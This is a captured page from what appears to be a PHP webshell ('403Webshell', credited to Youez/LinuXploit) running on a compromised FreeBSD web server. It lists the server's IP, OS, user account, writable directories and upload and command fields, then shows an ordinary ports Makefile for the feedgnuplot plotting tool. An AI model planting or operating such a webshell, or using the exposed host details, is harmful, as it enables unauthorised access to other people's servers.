403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/p5-feedgnuplot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/p5-feedgnuplot/Makefile
PORTNAME=	feedgnuplot
PORTVERSION=	1.55
CATEGORIES=	graphics perl5
MASTER_SITES=	CPAN
MASTER_SITE_SUBDIR=	CPAN:DKOGAN
PKGNAMEPREFIX=	p5-

MAINTAINER=	pi@FreeBSD.org
COMMENT=	General purpose pipe-oriented plotting tool
WWW=		https://metacpan.org/release/DKOGAN/feedgnuplot-1.51

LICENSE=	ART10 GPLv3
LICENSE_COMB=	dual

BUILD_DEPENDS=	p5-String-ShellQuote>=0.50:textproc/p5-String-ShellQuote \
		p5-IPC-Run>=0:devel/p5-IPC-Run
RUN_DEPENDS:=	${BUILD_DEPENDS} \
		p5-List-MoreUtils>=0:lang/p5-List-MoreUtils \
		gnuplot:math/gnuplot

NO_ARCH=	yes
USES=		perl5
USE_PERL5=	configure

PLIST_FILES=	bin/feedgnuplot ${SITE_MAN1}/feedgnuplot.1.gz

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit